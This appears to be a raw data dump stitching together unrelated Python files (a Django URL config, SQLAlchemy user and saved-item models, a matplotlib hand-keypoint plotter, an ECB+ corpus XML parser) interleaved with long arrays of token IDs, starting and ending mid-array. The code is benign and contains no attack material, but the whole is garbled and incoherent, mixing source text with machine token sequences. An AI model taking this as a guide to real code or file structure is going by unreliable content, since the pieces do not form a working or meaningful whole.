3402,
23157,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
29875,
613,
376,
489,
2080,
29918,
3972,
613,
1371,
543,
9882,
304,
3787,
25185,
1299,
869,
3945,
322,
869,
812,
2066,
23157,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
29877,
613,
376,
489,
4905,
29918,
1445,
613,
1371,
543,
6466,
934,
304,
2436,
10663,
29933,
1962,
304,
23157,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
29873,
613,
376,
489,
1688,
613,
1371,
543,
6558,
29879,
1583,
1243,
19602,
3158,
543,
8899,
29918,
3009,
1159,
13,
5085,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
21707,
353,
679,
29918,
21707,
580,
13,
13,
2080,
29918,
3972,
353,
6389,
29889,
2080,
29918,
3972,
13,
4905,
29918,
1445,
353,
6389,
29889,
4905,
29918,
1445,
13,
1311,
29918,
1688,
353,
6389,
29889,
1688,
13,
13,
12938,
29886,
353,
805,
4135,
29889,
1359,
703,
264,
1159,
13,
13,
361,
1583,
29918,
1688,
29901,
13,
1678,
17927,
29889,
3888,
703,
5379,
17068,
1583,
1243,
856,
1159,
13,
1678,
437,
29918,
1311,
29918,
1688,
29898,
12938,
29886,
29897,
13,
2870,
29901,
13,
1678,
17927,
29889,
3888,
703,
6359,
292,
25185,
1299,
869,
3945,
322,
869,
812,
2066,
515,
29901,
12365,
29879,
29913,
1642,
4830,
29898,
2080,
29918,
3972,
876,
13,
1678,
17927,
29889,
3888,
703,
29956,
768,
292,
10663,
29933,
18897,
29914,
11338,
304,
934,
29901,
12365,
29879,
29913,
1642,
4830,
29898,
4905,
29918,
1445,
876,
13,
1678,
3588,
29918,
1182,
271,
29918,
517,
29918,
601,
29890,
29898,
2080,
29918,
3972,
29892,
1962,
29918,
1445,
29892,
302,
22833,
29897,
13,
13,
2
] |
config/urls.py | bineetgh/examday | 0 | 172341 | from django.conf import settings
from django.contrib import admin
from django.urls import path, include
from django.views.generic.base import TemplateView
from django.conf.urls import include, url
urlpatterns = [
path('admin/', admin.site.urls),
path('accounts/', include('allauth.urls')),
path('accounts/profile/',
TemplateView.as_view(template_name='account/profile.html')),
path('', include('pages.urls')),
path('exam/', include('exam.urls')),
]
if settings.DEBUG:
import debug_toolbar
urlpatterns = [
path('__debug__/', include(debug_toolbar.urls)),
] + urlpatterns
| [
1,
515,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
21570,
1053,
4113,
13,
3166,
9557,
29889,
26045,
1053,
2224,
29892,
3160,
13,
3166,
9557,
29889,
7406,
29889,
19206,
29889,
3188,
1053,
25663,
1043,
13,
3166,
9557,
29889,
5527,
29889,
26045,
1053,
3160,
29892,
3142,
13,
13,
2271,
11037,
29879,
353,
518,
13,
1678,
2224,
877,
6406,
29914,
742,
4113,
29889,
2746,
29889,
26045,
511,
13,
1678,
2224,
877,
10149,
29879,
29914,
742,
3160,
877,
9864,
2806,
29889,
26045,
1495,
511,
13,
1678,
2224,
877,
10149,
29879,
29914,
10185,
29914,
742,
13,
308,
25663,
1043,
29889,
294,
29918,
1493,
29898,
6886,
29918,
978,
2433,
10149,
29914,
10185,
29889,
1420,
1495,
511,
13,
1678,
2224,
877,
742,
3160,
877,
12292,
29889,
26045,
1495,
511,
13,
1678,
2224,
877,
735,
314,
29914,
742,
3160,
877,
735,
314,
29889,
26045,
1495,
511,
13,
29962,
13,
13,
361,
6055,
29889,
18525,
29901,
13,
1678,
1053,
4744,
29918,
10154,
1646,
13,
1678,
3142,
11037,
29879,
353,
518,
13,
4706,
2224,
877,
1649,
8382,
1649,
29914,
742,
3160,
29898,
8382,
29918,
10154,
1646,
29889,
26045,
8243,
13,
29962,
718,
3142,
11037,
29879,
13,
2
] |
website/userData.py | marvkey/onlineDatabsase | 0 | 108334 | from sqlalchemy.sql.expression import false
from . import db
from flask_login import UserMixin
from sqlalchemy.sql import func
class User(db.Model,UserMixin):
id = db.Column(db.Integer, primary_key=True)
email =db.Column(db.String(150),unique=True)
firstname = db.Column(db.String(150))
lastname = db.Column(db.String(150))
username = db.Column(db.String(150))
password = db.Column(db.String(150))
date_created = db.Column(db.DateTime(timezone=True), default=func.now())
file =db.relationship("SavedItem",backref="user",passive_deletes=True)
class SavedItem(db.Model):
id = db.Column(db.Integer,primary_key=True)
file = db.Column(db.LargeBinary)
name = db.Column(db.String(150),nullable=False)
Description = db.Column(db.String(1000))
date_created = db.Column(db.DateTime(timezone=True),default=func.now())
author = db.Column(db.Integer, db.ForeignKey('user.id', ondelete="CASCADE"), nullable=False) | [
1,
515,
4576,
284,
305,
6764,
29889,
2850,
29889,
17471,
1053,
2089,
13,
3166,
869,
1053,
4833,
13,
3166,
29784,
29918,
7507,
1053,
4911,
29924,
861,
262,
13,
3166,
4576,
284,
305,
6764,
29889,
2850,
1053,
3653,
13,
13,
1990,
4911,
29898,
2585,
29889,
3195,
29892,
2659,
29924,
861,
262,
1125,
13,
1678,
1178,
353,
4833,
29889,
4409,
29898,
2585,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
4876,
353,
2585,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29945,
29900,
511,
13092,
29922,
5574,
29897,
13,
13,
1678,
937,
978,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29945,
29900,
876,
13,
1678,
1833,
978,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29945,
29900,
876,
13,
1678,
8952,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29945,
29900,
876,
13,
13,
1678,
4800,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29945,
29900,
876,
13,
1678,
2635,
29918,
11600,
353,
4833,
29889,
4409,
29898,
2585,
29889,
11384,
29898,
2230,
8028,
29922,
5574,
511,
2322,
29922,
9891,
29889,
3707,
3101,
13,
1678,
934,
353,
2585,
29889,
2674,
800,
4034,
703,
29903,
10511,
2001,
613,
1627,
999,
543,
1792,
613,
3364,
573,
29918,
311,
1026,
267,
29922,
5574,
29897,
13,
13,
1990,
9583,
287,
2001,
29898,
2585,
29889,
3195,
1125,
13,
1678,
1178,
353,
4833,
29889,
4409,
29898,
2585,
29889,
7798,
29892,
16072,
29918,
1989,
29922,
5574,
29897,
13,
1678,
934,
353,
4833,
29889,
4409,
29898,
2585,
29889,
24105,
479,
25196,
29897,
13,
1678,
1024,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29945,
29900,
511,
4304,
519,
29922,
8824,
29897,
13,
1678,
12953,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29900,
29900,
29900,
876,
13,
1678,
2635,
29918,
11600,
353,
4833,
29889,
4409,
29898,
2585,
29889,
11384,
29898,
2230,
8028,
29922,
5574,
511,
4381,
29922,
9891,
29889,
3707,
3101,
13,
1678,
4148,
353,
4833,
29889,
4409,
29898,
2585,
29889,
7798,
29892,
4833,
29889,
27755,
2558,
877,
1792,
29889,
333,
742,
373,
8143,
543,
29907,
3289,
5454,
2287,
4968,
1870,
519,
29922,
8824,
29897,
2
] |
cpo_pipeline/typing/__init__.py | DiDigsDNA/cpo-pipeline | 0 | 31889 | """
typing module
"""
from . import pipeline
from . import parsers
| [
1,
9995,
13,
1017,
15702,
3883,
13,
15945,
29908,
13,
13,
3166,
869,
1053,
16439,
13,
3166,
869,
1053,
610,
4253,
13,
2
] |
utils/vis.py | tanyinghui/Minimal-Hand-pytorch | 158 | 196716 | <filename>utils/vis.py
import matplotlib.pyplot as plt
def plot3d(joints_,ax, title=None):
joints = joints_.copy()
ax.plot(joints[:, 0], joints[:, 1], joints[:, 2], 'yo', label='keypoint')
ax.plot(joints[:5, 0], joints[:5, 1],
joints[:5, 2],
'r',
label='thumb')
ax.plot(joints[[0, 5, 6, 7, 8, ], 0], joints[[0, 5, 6, 7, 8, ], 1],
joints[[0, 5, 6, 7, 8, ], 2],
'b',
label='index')
ax.plot(joints[[0, 9, 10, 11, 12, ], 0], joints[[0, 9, 10, 11, 12], 1],
joints[[0, 9, 10, 11, 12], 2],
'b',
label='middle')
ax.plot(joints[[0, 13, 14, 15, 16], 0], joints[[0, 13, 14, 15, 16], 1],
joints[[0, 13, 14, 15, 16], 2],
'b',
label='ring')
ax.plot(joints[[0, 17, 18, 19, 20], 0], joints[[0, 17, 18, 19, 20], 1],
joints[[0, 17, 18, 19, 20], 2],
'b',
label='pinky')
# snap convention
ax.plot(joints[4][0], joints[4][1], joints[4][2], 'rD', label='thumb')
ax.plot(joints[8][0], joints[8][1], joints[8][2], 'ro', label='index')
ax.plot(joints[12][0], joints[12][1], joints[12][2], 'ro', label='middle')
ax.plot(joints[16][0], joints[16][1], joints[16][2], 'ro', label='ring')
ax.plot(joints[20][0], joints[20][1], joints[20][2], 'ro', label='pinky')
# plt.plot(joints [1:, 0], joints [1:, 1], joints [1:, 2], 'o')
ax.set_xlabel('x')
ax.set_ylabel('y')
ax.set_zlabel('z')
ax.set_xlim(xmin=-1.0,xmax=1.0)
ax.set_ylim(ymin=-1.0,ymax=1.0)
ax.set_zlim(zmin=-1.0,zmax=1.0)
# plt.legend()
# ax.view_init(330, 110)
ax.view_init(-90, -90)
return ax
def multi_plot3d(jointss_, title=None):
jointss = jointss_.copy()
fig = plt.figure(figsize=[50, 50])
ax = fig.add_subplot(111, projection='3d')
colors = ['b', 'r', "g"]
for i in range(len(jointss)):
joints = jointss[i]
plt.plot(joints[:, 0], joints[:, 1], joints[:, 2], 'yo')
plt.plot(joints[:5, 0], joints[:5, 1],
joints[:5, 2],
colors[i],
)
plt.plot(joints[[0, 5, 6, 7, 8, ], 0], joints[[0, 5, 6, 7, 8, ], 1],
joints[[0, 5, 6, 7, 8, ], 2],
colors[i],
)
plt.plot(joints[[0, 9, 10, 11, 12, ], 0], joints[[0, 9, 10, 11, 12], 1],
joints[[0, 9, 10, 11, 12], 2],
colors[i],
)
plt.plot(joints[[0, 13, 14, 15, 16], 0], joints[[0, 13, 14, 15, 16], 1],
joints[[0, 13, 14, 15, 16], 2],
colors[i],
)
plt.plot(joints[[0, 17, 18, 19, 20], 0], joints[[0, 17, 18, 19, 20], 1],
joints[[0, 17, 18, 19, 20], 2],
colors[i],
)
#######
# plt.plot(joints[:1, 0], joints[:1, 1],
# joints[:1, 2],
# colors[i],
# )
#
# plt.plot(joints[[0, 5, ], 0], joints[[0, 5, ], 1],
# joints[[0, 5, ], 2],
# colors[i],
# )
# plt.plot(joints[[0, 9, ], 0], joints[[0, 9, ], 1],
# joints[[0, 9,], 2],
# colors[i],
# )
# plt.plot(joints[[0, 13, ], 0], joints[[0, 13, ], 1],
# joints[[0, 13, ], 2],
# colors[i],
# )
# plt.plot(joints[[0, 17, ], 0], joints[[0, 17, ], 1],
# joints[[0, 17, ], 2],
# colors[i],
# )
# snap convention
plt.plot(joints[4][0], joints[4][1], joints[4][2], 'rD')
plt.plot(joints[8][0], joints[8][1], joints[8][2], 'ro', )
plt.plot(joints[12][0], joints[12][1], joints[12][2], 'ro', )
plt.plot(joints[16][0], joints[16][1], joints[16][2], 'ro', )
plt.plot(joints[20][0], joints[20][1], joints[20][2], 'ro', )
# plt.plot(joints [1:, 0], joints [1:, 1], joints [1:, 2], 'o')
plt.title(title)
ax.set_xlabel('x')
ax.set_ylabel('y')
ax.set_zlabel('z')
plt.legend()
# ax.view_init(330, 110)
ax.view_init(-90, -90)
if title:
title_ = ""
for i in range(len(title)):
title_ += "{}: {} ".format(colors[i], title[i])
ax.set_title(title_, fontsize=12, color='black')
else:
ax.set_title("None", fontsize=12, color='black')
plt.show()
| [
1,
529,
9507,
29958,
13239,
29914,
1730,
29889,
2272,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
13,
1753,
6492,
29941,
29881,
29898,
2212,
9466,
3383,
1165,
29892,
3611,
29922,
8516,
1125,
13,
1678,
14002,
29879,
353,
14002,
29879,
5396,
8552,
580,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
7503,
29892,
29871,
29900,
1402,
14002,
29879,
7503,
29892,
29871,
29896,
1402,
14002,
29879,
7503,
29892,
29871,
29906,
1402,
525,
9029,
742,
3858,
2433,
1989,
3149,
1495,
13,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
7503,
29945,
29892,
29871,
29900,
1402,
14002,
29879,
7503,
29945,
29892,
29871,
29896,
1402,
13,
632,
14002,
29879,
7503,
29945,
29892,
29871,
29906,
1402,
13,
632,
525,
29878,
742,
13,
632,
3858,
2433,
386,
3774,
1495,
13,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
21251,
29871,
29896,
1402,
13,
632,
14002,
29879,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
21251,
29871,
29906,
1402,
13,
632,
525,
29890,
742,
13,
632,
3858,
2433,
2248,
1495,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
29892,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
1402,
29871,
29896,
1402,
13,
632,
14002,
29879,
8999,
29900,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
1402,
29871,
29906,
1402,
13,
632,
525,
29890,
742,
13,
632,
3858,
2433,
17662,
1495,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
1402,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
1402,
29871,
29896,
1402,
13,
632,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
1402,
29871,
29906,
1402,
13,
632,
525,
29890,
742,
13,
632,
3858,
2433,
5393,
1495,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
29871,
29896,
29947,
29892,
29871,
29896,
29929,
29892,
29871,
29906,
29900,
1402,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
29871,
29896,
29947,
29892,
29871,
29896,
29929,
29892,
29871,
29906,
29900,
1402,
29871,
29896,
1402,
13,
632,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
29871,
29896,
29947,
29892,
29871,
29896,
29929,
29892,
29871,
29906,
29900,
1402,
29871,
29906,
1402,
13,
632,
525,
29890,
742,
13,
632,
3858,
2433,
29886,
682,
29891,
1495,
13,
1678,
396,
15101,
15687,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
29961,
29946,
3816,
29900,
1402,
14002,
29879,
29961,
29946,
3816,
29896,
1402,
14002,
29879,
29961,
29946,
3816,
29906,
1402,
525,
29878,
29928,
742,
3858,
2433,
386,
3774,
1495,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
29961,
29947,
3816,
29900,
1402,
14002,
29879,
29961,
29947,
3816,
29896,
1402,
14002,
29879,
29961,
29947,
3816,
29906,
1402,
525,
307,
742,
3858,
2433,
2248,
1495,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
29961,
29896,
29906,
3816,
29900,
1402,
14002,
29879,
29961,
29896,
29906,
3816,
29896,
1402,
14002,
29879,
29961,
29896,
29906,
3816,
29906,
1402,
525,
307,
742,
3858,
2433,
17662,
1495,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
29961,
29896,
29953,
3816,
29900,
1402,
14002,
29879,
29961,
29896,
29953,
3816,
29896,
1402,
14002,
29879,
29961,
29896,
29953,
3816,
29906,
1402,
525,
307,
742,
3858,
2433,
5393,
1495,
13,
1678,
4853,
29889,
5317,
29898,
2212,
9466,
29961,
29906,
29900,
3816,
29900,
1402,
14002,
29879,
29961,
29906,
29900,
3816,
29896,
1402,
14002,
29879,
29961,
29906,
29900,
3816,
29906,
1402,
525,
307,
742,
3858,
2433,
29886,
682,
29891,
1495,
13,
1678,
396,
14770,
29889,
5317,
29898,
2212,
9466,
518,
29896,
29901,
29892,
29871,
29900,
1402,
14002,
29879,
518,
29896,
29901,
29892,
29871,
29896,
1402,
14002,
29879,
518,
29896,
29901,
29892,
29871,
29906,
1402,
525,
29877,
1495,
13,
1678,
4853,
29889,
842,
29918,
29916,
1643,
877,
29916,
1495,
13,
1678,
4853,
29889,
842,
29918,
29891,
1643,
877,
29891,
1495,
13,
1678,
4853,
29889,
842,
29918,
29920,
1643,
877,
29920,
1495,
13,
1678,
4853,
29889,
842,
29918,
29916,
2576,
29898,
29916,
1195,
10457,
29896,
29889,
29900,
29892,
29916,
3317,
29922,
29896,
29889,
29900,
29897,
13,
1678,
4853,
29889,
842,
29918,
29891,
2576,
29898,
962,
262,
10457,
29896,
29889,
29900,
29892,
29891,
3317,
29922,
29896,
29889,
29900,
29897,
13,
1678,
4853,
29889,
842,
29918,
29920,
2576,
29898,
29920,
1195,
10457,
29896,
29889,
29900,
29892,
29920,
3317,
29922,
29896,
29889,
29900,
29897,
13,
1678,
396,
14770,
29889,
26172,
580,
13,
1678,
396,
4853,
29889,
1493,
29918,
2344,
29898,
29941,
29941,
29900,
29892,
29871,
29896,
29896,
29900,
29897,
13,
1678,
4853,
29889,
1493,
29918,
2344,
6278,
29929,
29900,
29892,
448,
29929,
29900,
29897,
13,
1678,
736,
4853,
13,
13,
13,
1753,
2473,
29918,
5317,
29941,
29881,
29898,
12090,
893,
3383,
3611,
29922,
8516,
1125,
13,
1678,
14002,
893,
353,
14002,
893,
5396,
8552,
580,
13,
1678,
2537,
353,
14770,
29889,
4532,
29898,
1003,
2311,
11759,
29945,
29900,
29892,
29871,
29945,
29900,
2314,
13,
13,
1678,
4853,
353,
2537,
29889,
1202,
29918,
1491,
5317,
29898,
29896,
29896,
29896,
29892,
18246,
2433,
29941,
29881,
1495,
13,
13,
1678,
11955,
353,
6024,
29890,
742,
525,
29878,
742,
376,
29887,
3108,
13,
13,
1678,
363,
474,
297,
3464,
29898,
2435,
29898,
12090,
893,
22164,
13,
4706,
14002,
29879,
353,
14002,
893,
29961,
29875,
29962,
13,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
7503,
29892,
29871,
29900,
1402,
14002,
29879,
7503,
29892,
29871,
29896,
1402,
14002,
29879,
7503,
29892,
29871,
29906,
1402,
525,
9029,
1495,
13,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
7503,
29945,
29892,
29871,
29900,
1402,
14002,
29879,
7503,
29945,
29892,
29871,
29896,
1402,
13,
462,
14002,
29879,
7503,
29945,
29892,
29871,
29906,
1402,
13,
462,
11955,
29961,
29875,
1402,
13,
462,
1723,
13,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
21251,
29871,
29896,
1402,
13,
462,
14002,
29879,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
21251,
29871,
29906,
1402,
13,
462,
11955,
29961,
29875,
1402,
13,
462,
1723,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
29892,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
1402,
29871,
29896,
1402,
13,
462,
14002,
29879,
8999,
29900,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
1402,
29871,
29906,
1402,
13,
462,
11955,
29961,
29875,
1402,
13,
462,
1723,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
1402,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
1402,
29871,
29896,
1402,
13,
462,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
1402,
29871,
29906,
1402,
13,
462,
11955,
29961,
29875,
1402,
13,
462,
1723,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
29871,
29896,
29947,
29892,
29871,
29896,
29929,
29892,
29871,
29906,
29900,
1402,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
29871,
29896,
29947,
29892,
29871,
29896,
29929,
29892,
29871,
29906,
29900,
1402,
29871,
29896,
1402,
13,
462,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
29871,
29896,
29947,
29892,
29871,
29896,
29929,
29892,
29871,
29906,
29900,
1402,
29871,
29906,
1402,
13,
462,
11955,
29961,
29875,
1402,
13,
462,
1723,
13,
13,
4706,
835,
4136,
13,
4706,
396,
14770,
29889,
5317,
29898,
2212,
9466,
7503,
29896,
29892,
29871,
29900,
1402,
14002,
29879,
7503,
29896,
29892,
29871,
29896,
1402,
13,
4706,
396,
3986,
14002,
29879,
7503,
29896,
29892,
29871,
29906,
1402,
13,
4706,
396,
3986,
11955,
29961,
29875,
1402,
13,
4706,
396,
3986,
1723,
13,
4706,
396,
13,
4706,
396,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29945,
29892,
21251,
29871,
29896,
1402,
13,
4706,
396,
3986,
14002,
29879,
8999,
29900,
29892,
29871,
29945,
29892,
29871,
21251,
29871,
29906,
1402,
13,
4706,
396,
3986,
11955,
29961,
29875,
1402,
13,
4706,
396,
3986,
1723,
13,
4706,
396,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29929,
29892,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29929,
29892,
21251,
29871,
29896,
1402,
13,
4706,
396,
3986,
14002,
29879,
8999,
29900,
29892,
29871,
29929,
29892,
1402,
29871,
29906,
1402,
13,
4706,
396,
3986,
11955,
29961,
29875,
1402,
13,
4706,
396,
3986,
1723,
13,
4706,
396,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
21251,
29871,
29896,
1402,
13,
4706,
396,
3986,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29941,
29892,
21251,
29871,
29906,
1402,
13,
4706,
396,
3986,
11955,
29961,
29875,
1402,
13,
4706,
396,
3986,
1723,
13,
4706,
396,
14770,
29889,
5317,
29898,
2212,
9466,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
21251,
29871,
29900,
1402,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
21251,
29871,
29896,
1402,
13,
4706,
396,
3986,
14002,
29879,
8999,
29900,
29892,
29871,
29896,
29955,
29892,
21251,
29871,
29906,
1402,
13,
4706,
396,
3986,
11955,
29961,
29875,
1402,
13,
4706,
396,
3986,
1723,
13,
13,
4706,
396,
15101,
15687,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
29961,
29946,
3816,
29900,
1402,
14002,
29879,
29961,
29946,
3816,
29896,
1402,
14002,
29879,
29961,
29946,
3816,
29906,
1402,
525,
29878,
29928,
1495,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
29961,
29947,
3816,
29900,
1402,
14002,
29879,
29961,
29947,
3816,
29896,
1402,
14002,
29879,
29961,
29947,
3816,
29906,
1402,
525,
307,
742,
1723,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
29961,
29896,
29906,
3816,
29900,
1402,
14002,
29879,
29961,
29896,
29906,
3816,
29896,
1402,
14002,
29879,
29961,
29896,
29906,
3816,
29906,
1402,
525,
307,
742,
1723,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
29961,
29896,
29953,
3816,
29900,
1402,
14002,
29879,
29961,
29896,
29953,
3816,
29896,
1402,
14002,
29879,
29961,
29896,
29953,
3816,
29906,
1402,
525,
307,
742,
1723,
13,
4706,
14770,
29889,
5317,
29898,
2212,
9466,
29961,
29906,
29900,
3816,
29900,
1402,
14002,
29879,
29961,
29906,
29900,
3816,
29896,
1402,
14002,
29879,
29961,
29906,
29900,
3816,
29906,
1402,
525,
307,
742,
1723,
13,
4706,
396,
14770,
29889,
5317,
29898,
2212,
9466,
518,
29896,
29901,
29892,
29871,
29900,
1402,
14002,
29879,
518,
29896,
29901,
29892,
29871,
29896,
1402,
14002,
29879,
518,
29896,
29901,
29892,
29871,
29906,
1402,
525,
29877,
1495,
13,
13,
4706,
14770,
29889,
3257,
29898,
3257,
29897,
13,
4706,
4853,
29889,
842,
29918,
29916,
1643,
877,
29916,
1495,
13,
4706,
4853,
29889,
842,
29918,
29891,
1643,
877,
29891,
1495,
13,
4706,
4853,
29889,
842,
29918,
29920,
1643,
877,
29920,
1495,
13,
4706,
14770,
29889,
26172,
580,
13,
4706,
396,
4853,
29889,
1493,
29918,
2344,
29898,
29941,
29941,
29900,
29892,
29871,
29896,
29896,
29900,
29897,
13,
4706,
4853,
29889,
1493,
29918,
2344,
6278,
29929,
29900,
29892,
448,
29929,
29900,
29897,
13,
13,
1678,
565,
3611,
29901,
13,
4706,
3611,
29918,
353,
5124,
13,
4706,
363,
29871,
474,
297,
3464,
29898,
2435,
29898,
3257,
22164,
13,
9651,
3611,
29918,
4619,
29850,
6177,
6571,
259,
11393,
4830,
29898,
27703,
29961,
29875,
1402,
3611,
29961,
29875,
2314,
13,
13,
4706,
4853,
29889,
842,
29918,
3257,
29898,
3257,
3383,
4079,
2311,
29922,
29896,
29906,
29892,
2927,
2433,
8517,
1495,
13,
1678,
1683,
29901,
13,
4706,
4853,
29889,
842,
29918,
3257,
703,
8516,
613,
4079,
2311,
29922,
29896,
29906,
29892,
2927,
2433,
8517,
1495,
13,
1678,
14770,
29889,
4294,
580,
13,
2
] |
src/datamodel/ecb_plus/document.py | vedmathai/timeline | 0 | 171289 | <filename>src/datamodel/ecb_plus/document.py
import xml.etree.ElementTree as ET
import typing
from typing import Dict, List
from timeline.src.datamodel.ecb_plus.text import Token
from timeline.src.datamodel.ecb_plus.text import Sentence
from timeline.src.datamodel.ecb_plus.markable import Markable
if typing.TYPE_CHECKING:
from timeline.src.datamodel.ecb_plus.context import Context
class Document():
def __init__(self, xml_file: str = '') -> None:
self._id = id
self._xml_file = xml_file
self._sentences: Dict[str, Sentence] = {}
self._markables: Dict[str, Markable] = {}
def id(self) -> str:
return self._xml_file
def sentences(self) -> Dict[str, Sentence]:
return self._sentences
def markables(self) -> Dict[str, Markable]:
return self._markables
def sentence_by_id(self, id: str) -> Sentence:
return self._sentences[id]
def markable_by_id(self, id: str) -> Markable:
return self._markables[id]
def set_sentences(self, sentences: List[Sentence]) -> None:
self._sentences = {sentence.id(): sentence for sentence in sentences}
def set_markables(self, markables: List[Markable]) -> None:
self._markables = {markable.id(): markable for markable in markables}
def text(self) -> str:
sentences: List[str] = []
for sentence in self._sentences.values():
sentences += [sentence.text()]
return ' '.join(sentences)
@staticmethod
def from_xml(xml_file: str, context: 'Context'):
tree = ET.parse(xml_file)
root = tree.getroot()
file_name = root.attrib['doc_name']
document = Document(xml_file=file_name)
for el in root.findall('token'):
Token.from_xml(el=el, context=context, document=document)
sentences = context.get_sentences_by_document(document=document)
document.set_sentences(sentences=sentences)
markables = root.find('Markables')
for el in markables.getchildren():
markable = Markable.from_xml(el=el, context=context, document=document)
document.set_markables(context.get_markables_by_document(document=document))
relations = root.find('Relations')
for el in relations.getchildren():
sources: List[str] = []
if 'note' not in el.attrib:
continue
entity = context.get_entity_by_id(el.attrib['note'])
for el2 in el.getchildren():
if el2.tag == 'source':
id = el2.attrib['m_id']
markable = document.markable_by_id(id)
entity.add_markable(markable)
markable.set_entity(entity=entity)
return document
if __name__ == '__main__':
from timeline.src.datamodel.ecb_plus.context import Context
doc = Document.from_xml('/Users/vedmathai/Documents/python/temporal/data/ECB+_LREC2014/ECB+/1/1_2ecbplus.xml', Context())
print([sentence.text() for sentence in doc.sentences().values()]) | [
1,
529,
9507,
29958,
4351,
29914,
4130,
